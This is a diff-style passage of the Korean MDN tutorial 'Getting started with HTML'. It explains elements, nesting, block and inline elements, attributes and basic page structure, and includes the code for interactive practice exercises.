+   <td>기본적인 컴퓨터의 이해, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치하기</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기</a>의 기본적 지식.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표</th>
+   <td>HTML언어에 대해 익숙해지고, HTML을 이용하여 실습해봅니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="HTML이란">HTML이란?</h2>
+
+<p>{{glossary("HTML")}} (Hypertext Markup Language,하이퍼텍스트 마크업 언어)는 프로그래밍 언어는 아니고, 우리가 보는 웹페이지가 어떻게 구조화되어 있는지 브라우저로 하여금 알 수 있도록 하는 마크업 언어입니다. 이는 개발자로 하여금 복잡하게도 간단하게도 프로그래밍 할 수 있습니다. HTML은 {{glossary("Element", "elements")}}로 구성되어 있으며, 이들은 적절한 방법으로 나타내고 실행하기 위해 각 컨텐츠의 여러 부분들을 감싸고 마크업 합니다. {{glossary("Tag", "tags")}} 는 웹 상의 다른 페이지로 이동하게 하는 하이퍼링크 내용들을 생성하거나, 단어를 강조하는 등의 역할을 합니다.  예를들어, 다음의 내용을 봅시다.</p>
+
+<pre class="notranslate">My cat is very grumpy</pre>
+
+<p>만약 다음의 문장을 그냥 그 자체로 표시하고 싶다면, 태그 중  ({{htmlelement("p")}})로 감싸 엘리먼트를 문단으로 명시할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;My cat is very grumpy&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: HTML 요소는 대소문자를 구분하지 않습니다. 그 말은 {{htmlelement("title")}} 요소는 <code>&lt;title&gt;</code>, <code>&lt;TITLE&gt;</code>, <code>&lt;Title&gt;</code>, <code>&lt;TiTlE&gt;</code> 들과 같이 사용할 수 있습니다. 하지만 대게는 가독성과 기타 이유때문에 소문자로 작성합니다.</p>
+</div>
+
+<h2 id="HTML_요소Element의_구조">HTML 요소(Element)의 구조</h2>
+
+<p>HTML에서의 요소에 대해 좀 더 알아봅시다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>엘리먼트의 주요 부분은 다음과 같습니다.</p>
+
+<ol>
+ <li><strong>여는 태그(Opening tag):</strong> 이것은 요소의 이름과(이 경우 p), 열고 닫는 꺽쇠 괄호로 구성됩니다. 요소가 시작(이 경우 단락의 시작 부분)부터 효과가 적용되기 시작합니다.</li>
+ <li><strong>닫는 태그(Closing tag):</strong> 이것은 요소의 이름 앞에 슬래시(/)가 있는것을 제외하면 여는 태그(opening tag)와 같습니다. 이것은 요소의 끝(이 경우 단락의 끝 부분)에 위치합니다.  닫는 태그를 적어주지 않는 것은 흔한 초심자의 오류이며, 이것은 이상한 결과를 낳게됩니다.</li>
+ <li><strong>내용(Content):</strong> 요소의 내용이며, 이 경우 단순한 텍스트이다.</li>
+ <li><strong>요소(Element):</strong> 여는 태그, 닫는 태그, 내용을 통틀어 요소(element)라고한다.</li>
+</ol>
+
+<h3 id="실습_첫_번째_HTML_요소_만들어보기">실습: 첫 번째 HTML 요소 만들어보기</h3>
+
+<p>Input 영역 아래의 줄을 <code>&lt;em&gt;</code> 과 <code>&lt;/em&gt;</code> 태그를 이용해서 감싸 보세요. (줄의 앞에 요소를 열기위해 <code>&lt;em&gt;</code>태그를, 뒤에는 요소를 닫기위해  <code>&lt;/em&gt;</code>태그를 두세요.)  — 이것은 그 줄에 이탤릭강조효과를 줍니다! 여러분이 수정하는 결과는 실시간으로 Output 영역에서 볼 수 있습니다.</p>
+
+<p>만약 실수를 했다면, 언제든지 Reset 버튼을 눌러서 초기화 할 수 있습니다. 만약 아무래도 답을 모르겠다면, Show solution 버튼을 이용해서 답을 볼 수 있습니다.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;코드 영역에서 포커스를 이동하려면 Esc키를 누르십시오 (Tab키로 탭 문자를 삽입).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
+  This is my text.
+&lt;/textarea&gt;
+
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;em&gt;This is my text.&lt;/em&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="포함내포內包된_요소Nesting_elements">포함(내포:內包)된 요소(Nesting elements)</h3>
+
+<p>요소 안에 다른 요소가 들어갈 수 있습니다. 그런 요소는 내포되었다고 표현합니다. "고양이가 매우 사납다" 라는 문단을 강조하기 위해서, '매우'라는 단어를 강조하는 {{htmlelement("strong")}} 요소를 중첩해서 사용할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;My cat is &lt;strong&gt;very&lt;/strong&gt; grumpy.&lt;/p&gt;</pre>
+
+<p>요소 내표를 위해서는 확인해야 할 것이 있습니다. 위의 예제에서는 <code>p</code> 요소가 먼저 열렸고, 그리고 <code>strong</code> 요소가 열렸습니다. 그렇기 때문에 <code>strong</code> 요소가 먼저 닫힌 후에 <code>p</code> 요소가 닫혀야 합니다. 아래와 같은 문장은 중첩(重疊 : 서로 포개어(overlap 또는 stacking) 지거나, 엇갈려 겹쳐짐)되었으므로 잘못된 문장입니다.</p>
+
+<pre class="example-bad brush: html notranslate">&lt;p&gt;My cat is &lt;strong&gt;very grumpy.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p>요소 내포을 위해서, 내포되어 지는 요소는 다른 요소 속에서 열고 닫혀야 하며 다른 요소를 포함시키는 요소는 그 바깥에서 열고 닫혀야 합니다. 위의 잘못된 예제와 같이 내포가 제대로 되지 않았을 경우엔 웹 브라우저가 임의로 결과를 보일 것이며, 그것은 원치않는 것일 수 있습니다. 그런데 잘못 된 내포에도 불구하고 어떤 브라우저에서 이상없이 보일 수도 있습니다. 하지만 그 것은 그저 그 브라우저가 문법에 흐물흐물(permittable)해서 웬만한 오류는 자체 수정해서 브라우저 창에 rendering해주기 때문일 뿐 입니다. '웬만한 오류는 알아서 처리해 준다.' 는 부분에서 초보자는 특히 주의해야 합니다.</p>
+
+<h3 id="블럭_레벨_요소_vs_인라인_요소Block_versus_inline_elements">블럭 레벨 요소 vs 인라인 요소(Block versus inline elements)</h3>
+
+<p>HTML에는 두가지 종류의 요소(Element) 가 있습니다. 블록 레벨 요소(Block level element) 와 인라인 요소(Inline element) 입니다.</p>
+
+<ul>
+ <li>블록 레벨 요소(Block-level elements) 는 웹페이지 상에 블록(Block)을 만드는 요소입니다.  블록 레벨 요소는 앞뒤 요소 사이에 새로운 줄(Line)을 만들고 나타납니다. 즉 블록 레벨 요소 이전과 이후 요소사이의 줄을 바꿉니다. 블록 레벨 요소는 일반적으로 페이지의 구조적 요소를 나타낼 때 사용됩니다. 예를 들어 개발자는 블록 레벨 요소를 사용하여 단락(Paragraphs), 목록(lists), 네비게이션 메뉴(Navigation Menus),  꼬리말(Footers) 등을 표현할 수 있습니다. 블록 레벨 요소는 인라인 요소(Inline elements)에 중첩될(Nested inside)수 없습니다. 그러나 블록 레벨 요소는 다른 블록 레벨 요소에 중첩될 수 있습니다. </li>
+ <li>인라인 요소(Inline elements)는 항상 블록 레벨 요소내에 포함되어 있습니다. 인라인 요소는 문서의 한 단락같은 큰 범위에는 적용될 수 없고 문장, 단어 같은 작은 부분에 대해서만 적용될 수 있습니다. 인라인 요소는 새로운 줄(Line)을 만들지 않습니다. 즉 인라인 요소를 작성하면 그것을 작성한 단락내에 나타나게 됩니다.  예를 들어, 인라인 요소에는 하이퍼링크를 정의하는 요소인 {{htmlelement("a")}} , 텍스트(Text)를 강조하는 요소인 {{htmlelement("em")}},{{htmlelement("strong")}} 등이 있습니다.</li>
+</ul>
+
+<p>다음 예시를 봅시다:</p>
+
+<pre class="brush: html notranslate">&lt;em&gt;first&lt;/em&gt;&lt;em&gt;second&lt;/em&gt;&lt;em&gt;third&lt;/em&gt;
+
+&lt;p&gt;fourth&lt;/p&gt;&lt;p&gt;fifth&lt;/p&gt;&lt;p&gt;sixth&lt;/p&gt;
+</pre>
+
+<p>{{htmlelement("em")}} 은 인라인 요소(inline element) 이므로, 밑에서 보실 수 있듯이, 처음 세 개의 요소는 서로 같은 줄에, 사이에 공백이 없이 위치합니다. 한편, {{htmlelement("p")}} 는 블록 레벨 요소이므로, 각 요소들은 새로운 줄에 나타나며, 위와 아래에 여백이 있습니다 (여백은 브라우저가 문단에 적용하는 기본 <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS styling</a> 때문에 적용됩니다).</p>
+
+<p>{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200, "", "") }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: HTML5에서 요소 분류를 재정의 했습니다: <a href="http://www.whatwg.org/specs/web-apps/current-work/complete/section-index.html#element-content-categories">Element content categories</a>. 이러한 정의는 이전의 정의보다 더 정확하고 덜 모호하지만, "블록"과 "인라인"보다 이해하기 훨씬 더 복잡하기 때문에, 이 주제 내내 이 정의들을 고수할 것입니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 이 주제에서 사용되는 "블럭(block)"과 "인라인(inline)"의 뜻은  <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">the types of CSS boxes</a>에서 사용하고 있는 같은 단어와 혼돈하면 안 됩니다.  기본적으로는 상관관계가 있지만 CSS 표시 유형을 변경해도 요소의 범주는 변경되지 않으며 요소가 포함할 수 있는 요소와 요소가 포함될 수 있는 요소에는 영향을 주지 않는다. HTML5가 이러한 용어들을 삭제했던 이유 중 하나는 이러한 다소 흔한 혼란을 막기 위해서였다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: <a href="/en-US/docs/Web/HTML/Block-level_elements">Block-level elements</a>문서와 <a href="/en-US/docs/Web/HTML/Inline_elements">Inline elements</a>문서를 참고하면 블럭과 인라인 요소에 대한 유용한 내용을 찾을 수 있습니다.</p>
+</div>
+
+<h3 id="빈_요소Empty_elements">빈 요소(Empty elements)</h3>
+
+<p>모든 요소가 위에 언급된 여는 태그, 내용, 닫는 태그 패턴을 따르는 것은 아닙니다. 주로 문서에 무언가를 첨부하기 위해 단일 태그(Single tag)를 사용하는 요소도 있습니다. 예를 들어 {{htmlelement("img")}} 요소는 해당 위치에 이미지를 삽입하기 위한 요소입니다:</p>
+
+<pre class="brush: html notranslate">&lt;img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"&gt;</pre>
+
+<p>위에 대한 결과는 다음과 같이 나올 것입니다:</p>
+
+<p>{{ EmbedLiveSample('Empty_elements', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 빈 요소는 가끔 Void 요소로 불리기도 합니다.</p>
+</div>
+
+<h2 id="속성Attributes">속성(Attributes)</h2>
+
+<p>요소는 아래 이미지와 같이 속성을 가질 수 있습니다:</p>
+
+<p><img alt='&amp;amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;amp;lt;/p>' src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>속성은 요소에 실제론 나타내고 싶지 않지만 추가적인 내용을 담고 싶을 때 사용합니다. 위에는  나중에 스타일에 관련된 내용이나 기타 내용을 위해 해당 목표를 구분할 수 있는 <code>class</code> 속성을 부여했습니다.</p>
+
+<p>속성을 사용할 때에는 아래 내용을 지켜야 합니다:</p>
+
+<ol>
+ <li>요소 이름 다음에 바로 오는 속성은 요소 이름과 속성 사이에 공백이 있어야 되고, 하나 이상의 속성들이 있는 경우엔 속성 사이에 공백이 있어야 합니다.</li>
+ <li>속성 이름 다음엔 등호(=)가 붙습니다.</li>
+ <li>속성 값은 열고 닫는 따옴표로 감싸야 합니다.</li>
+</ol>
+
+<h3 id="실습_요소에_속성_추가하기">실습: 요소에 속성 추가하기</h3>
+
+<p>또다른 요소 중 하나인 {{htmlelement("a")}} 요소는 "anchor"를 의미하는데, 닻이 배를 항구로 연결하듯 텍스트를 감싸서 하이퍼링크로 만듭니다. 이 요소는 여러 속성을 가질 수 있지만 아래에 있는 두 개가 주로 사용됩니다:</p>
+
+<ul>
+ <li><code>href</code>: 이 속성에는 당신이 연결하고자 하는 웹 주소를 지정합니다. 그 예로, <code>href="https://www.mozilla.org/"</code>.</li>
+ <li><code>title</code>: <code>title</code> 속성은 링크에 대한 추가 정보를 나타냅니다. 그 예로, <code>title="The Mozilla homepage"</code>. 이 내용은 링크 위로 마우스를 옮겼을 때 나타날 것입니다.</li>
+ <li><code>target</code>: <code>target</code> 속성은 링크가 어떻게 열릴 것인지를 지정합니다. 예를 들어, <code>target="_blank"</code> 는 링크를 새 탭에서 보여줍니다. 당신이 현재 탭에서 링크를 보여주고싶다면 이 속성을 생략하면 됩니다.</li>
+</ul>
+
+<p>당신이 즐겨 찾는 웹 사이트에 대한 링크를 만들기 위해 아래 입력 영역에서 행을 편집해 봅시다. 첫 번째로, <code>&lt;a&gt;</code> 요소를 추가합니다. 다음으로 <code>href</code> 속성과 <code>title</code> 속성을 추가합니다. 마지막으로 새 탭에서 링크를 열도록 <code>target</code> 속성을 지정합니다. 당신은 출력 영역에서 수정사항이 바로 변경되는 것을 볼 수 있습니다. 링크 위에 마우스를 올리면 <code>title</code> 속성 내용이 보여지고, 클릭하면 <code>href</code> 요소의 웹 주소로 이동할 것입니다. 각 요소의 이름과 그 값 사이에는 빈 칸이 필요하다는 것을 기억해야 합니다.</p>
+
+<p>만약 실수했다면 Reset 버튼을 눌러 처음으로 돌아갈 수 있습니다. 도움이 필요한 경우에는 답을 Show solution 버튼을 눌러 정답을 볼 수 있습니다.</p>
+
+<div class="hidden">
+<h6 id="Playable_code2">Playable code2</h6>
+
+<pre class="brush: html notranslate"><code>&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px;width: 95%"&gt;
+  &amp;lt;p&amp;gt;A link to my favorite website.&amp;lt;/p&amp;gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</code></pre>
+
+<pre class="brush: css notranslate"><code>html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</code></pre>
+
+<pre class="brush: js notranslate"><code>var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;p&gt;A link to my &lt;a href="https://www.mozilla.org/" title="The Mozilla homepage" target="_blank"&gt;favorite website&lt;/a&gt;.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</code></pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code2', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="참과_거짓_속성Boolean_attributes">참과 거짓 속성(Boolean attributes)</h3>
+
+<p>때때로 값이 없는 속성을 볼 수 있을텐데 이것은 허용되는 것입니다. 이를 불 속성이라고 하며, 일반적으로 그 속성의 이름과 동일한 하나의 값만을 가질 수 있습니다.  예를 들어  {{htmlattrxref("disabled", "input")}} 속성을 양식 입력 요소에 할당하면 사용자가 데이터를 입력할 수 없도록 비활성화(회색으로 표시) 할 수 있습니다.</p>
+
+<pre class="notranslate">&lt;input type="text" disabled="disabled"&gt;</pre>
+
+<p>이것은 다음과 같이 줄여쓸 수 있습니다. (당신이 참고할 수 있도록 비활성화를 하지 않은 형태도 포함했습니다.)</p>
+
+<pre class="brush: html notranslate">&lt;input type="text" disabled&gt;
+
+&lt;input type="text"&gt;</pre>
+
+<p>이 둘은 다음과 같은 결과를 보여줍니다.</p>
+
+<p>{{ EmbedLiveSample('Boolean_attributes', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="속성값의_따옴표_생략">속성값의 따옴표 생략</h3>
+
+<p>웹을 둘러보면 따옴표가 없는 속성값을 포함한 온갖 이상한 마크업 스타일을 볼 것입니다. 어떤 상황에선 이런 것이 허용되지만, 다른 상황에서는 당신의 마크업 형식을 망쳐버립니다. 이전에 작성한 코드에서 우리는 <code>href</code> 속성만 있는 기본적인 버전을 작성했습니다.</p>
+
+<pre class="brush: html notranslate">&lt;a href=https://www.mozilla.org/&gt;favorite website&lt;/a&gt;</pre>
+
+<p>하지만 여기에 <code>title</code> 속성을 추가하면 문제가 발생합니다.</p>
+
+<pre class="brush: html notranslate">&lt;a href=https://www.mozilla.org/ title=The Mozilla homepage&gt;favorite website&lt;/a&gt;</pre>
+
+<p>이 때 브라우저는 당신의 마크업을 잘못 해석해서 title이 세 개의 속성값을 가진다고 생각할 것입니다. <code>title</code> 속성값 "The"와 두 개의 불 속성값 <code>Mozilla</code>, <code>homepage</code>라고 말이죠. 이 것은 우리가 의도한 것도 아닐 뿐더러 아래의 예시처럼 오류가 발생하거나 예상치 못한 동작을 할 수도 있습니다. 링크 위에 마우스를 올려 title이 어떻게 보이는지 확인해 보세요.</p>
+
+<p>{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>우리는 항상 속성값에 따옴표를 붙이라고 조언합니다. 이런 오류를 피할 수도 있고, 코드의 가독성도 좋아지기 때문입니다.</p>
+
+<h3 id="작은_따옴표_큰_따옴표">작은 따옴표, 큰 따옴표?</h3>
+
+<p>이 글에서 모든 속성값은 큰 따옴표에 둘러싸여 있는 것을 볼 수 있습니다. 하지만 당신은 어떤 사람의 HTML에서 작은 따옴표를 볼 수 있을 것입니다. 이 것은 스타일의 문제로, 당신이 좋아하는 방법을 사용하면 됩니다. 아래 두 문장은 똑같이 동작합니다.</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://www.example.com"&gt;A link to my example.&lt;/a&gt;
+
+&lt;a href='http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>주의해야할 점은 두 개를 섞어 쓰면 안된다는 것입니다. 다음은 잘못 사용한 예입니다.</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>만약 한 가지 따옴표를 사용했다면 다른 따옴표로 속성값을 둘러싸서 오류를 방지할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://www.example.com" title="Isn't this fun?"&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>하지만 만약 당신이 따옴표 안에 같은 따옴표를 사용하고 싶다면(작은 따옴표든 큰 따옴표든) 따옴표를 표시하기 위해서 <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Entity_references_Including_special_characters_in_HTML">HTML entities</a>를 사용하세요. 예를 들어 이렇게 하면 잘못됩니다.</p>
+
+<pre class="notranslate"><code>&lt;a href='http://www.example.com' title='Isn't this fun?'&gt;A link to my example.&lt;/a&gt;</code></pre>
+
+<p>그래서 이렇게 바꿔주면 잘 작동합니다.</p>
+
+<pre class="notranslate"><code>&lt;a href='http://www.example.com' title='Isn&amp;#39;t this fun?'&gt;A link to my example.&lt;/a&gt;</code></pre>
+
+<h2 id="HTML_문서의_구조">HTML 문서의 구조</h2>
+
+<p>That wraps up the basics of individual HTML elements, but they aren't very useful on their own. 이제 어떻게 개별 요소를 결합해 전체 HTML 페이지를 구성하는지에 대해 살펴봅시다.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;My test page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;This is my page&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>여기를 보면,</p>
+
+<ol>
+ <li><code>&lt;!DOCTYPE html&gt;</code>: 문서 형식을 나타냅니다.  HTML 초창기에 (1991~2년) doctype은 HTML 페이지가 자동 오류 검사나 다른 유용한 것이 가능한 좋은 HTML을 의미하는 연결고리처럼 작동하는 것을 뜻했습니다. 이런 형식으로 사용했습니다.
+
+  <pre class="notranslate">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</pre>
+  하지만 요즘에는 아무도 신경쓰지 않으며, 그저 모든 것이 제대로 작동하기 위해 포함되어야 하는 역사적 유물일 뿐입니다. <code>&lt;!DOCTYPE html&gt;</code> 은 유효한 문서 형식을 나타내는 짧은 문장이고, 이 것만 알고 있으면 됩니다.</li>
+ <li><code>&lt;html&gt;&lt;/html&gt;</code>: {{htmlelement("html")}} 요소입니다. 이 요소는 전체 페이지의 콘텐츠를 포함하며, 기본 요소로도 알려져 있습니다.</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code>: <code>&lt;head&gt;</code> 요소입니다. 이 요소는 홈페이지 이용자에게는 보이지 않지만 검색 결과에 노출 될 키워드, 홈페이지 설명, CSS 스타일, character setdeclaration 등 HTML 페이지의 모든 내용을 담고 있습니다. 자세한 내용은 다음 장에서 다룹니다.</li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code>: 이 요소는 HTML 문서의 문자 인코딩 설정을 UTF-8로 지정하는 것이며 예시에서 지정한 UTF-8에는 전세계에서 사용되는 언어에 대한 대부분의 문자가 포함됩니다. 이 설정을 사용하면 페이지에 포함 된 모든 텍스트 내용을 처리 할 수 있습니다. 이것을 설정하면 나중에 문자 인코딩과 관련된 일부 문제를 피하는 데 도움이 될 수 있으므로 문자 인코딩 설정을 하지 않을 이유가 없습니다.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code>: {{htmlelement ( "title")}} 요소입니다. 이 요소를 사용하면 페이지 제목이 설정되며 페이지가 로드되는 브라우저 탭에 표시되는 제목으로 사용됩니다. 페이지 제목은 페이지가 책갈피 될 때 페이지를 설명하는 데에도 사용됩니다.</li>
+ <li><code>&lt;body&gt;&lt;/body&gt;</code>: {{htmlelement ( "body")}} 요소 여기에는 텍스트, 이미지, 비디오, 게임, 재생 가능한 오디오 트랙 등을 비롯하여 페이지에 표시되는 모든 콘텐츠가 포함됩니다.</li>
+</ol>
+
+<h3 id="실습_HTML_문서에_일부_기능_추가하기">실습: HTML 문서에 일부 기능 추가하기</h3>
+
+<p>로컬 컴퓨터에서 일부 HTML을 작성하여 실험하고 싶다면 다음을 수행하십시오. </p>
+
+<ol>
+ <li>위에 나열된 HTML 페이지 예제를 복사하십시오.</li>
+ <li>텍스트 편집기에서 새 파일을 작성하십시오.</li>
+ <li>코드를 새 텍스트 파일에 붙여 넣습니다.</li>
+ <li>파일을 <code>index.html</code>로 저장하십시오.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 기본 HTML 템플릿은 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">MDN Learning Area Github repo</a> 에서도 찾을 수 있습니다.</p>
+</div>
+
+<p>이제 웹 브라우저에서 이 파일을 열어 렌더링 된 코드의 모양을 확인할 수 있습니다. 코드를 편집하고 브라우저를 새로 고침하여 결과를 확인하십시오. 첫 페이지는 다음과 같습니다.</p>
+
+<p><img alt="A simple HTML page that says This is my page" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">이 연습에서는 앞에서 설명한대로 컴퓨터에서 로컬로 코드를 편집하거나 아래 샘플 창에서 편집 할 수 있습니다 (편집 가능한 샘플 창은 {{htmlelement ( "body")}} 요소의 내용만 나타냄 이 경우). 다음 작업을 구현하여 기술을 익히십시오.</p>
+
+<ul>
+ <li>{{htmlelement ( "body")}} 요소의 시작 태그 바로 아래에 문서의 기본 제목을 추가하십시오. <code>&lt;h1&gt;</code> 여는 태그와 <code>&lt;/h1&gt;</code> 닫는 태그 안에 싸야합니다.</li>
+ <li>관심있는 주제에 대한 텍스트를 포함하도록 단락 컨텐츠를 편집하십시오.</li>
+ <li>중요한 단어는 <code>&lt;strong&gt;</code> 여는 태그와 <code>&lt;/ strong&gt;</code> 닫는 태그 안에 넣어 굵게 표시하십시오.</li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Active_learning_Adding_attributes_to_an_element">이 글의 앞부분에서 설명</a>한대로 단락에 대한 링크를 추가하십시오.</li>
+ <li>문서에 이미지를 추가하십시오. <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Empty_elements">이 글의 앞부분에서 설명</a>한대로 단락 아래에 배치하십시오. 다른 이미지 (컴퓨터의 로컬 또는 웹의 다른 위치)에 연결하면 보너스 포인트를 얻을 수 있습니다.</li>
+</ul>
+
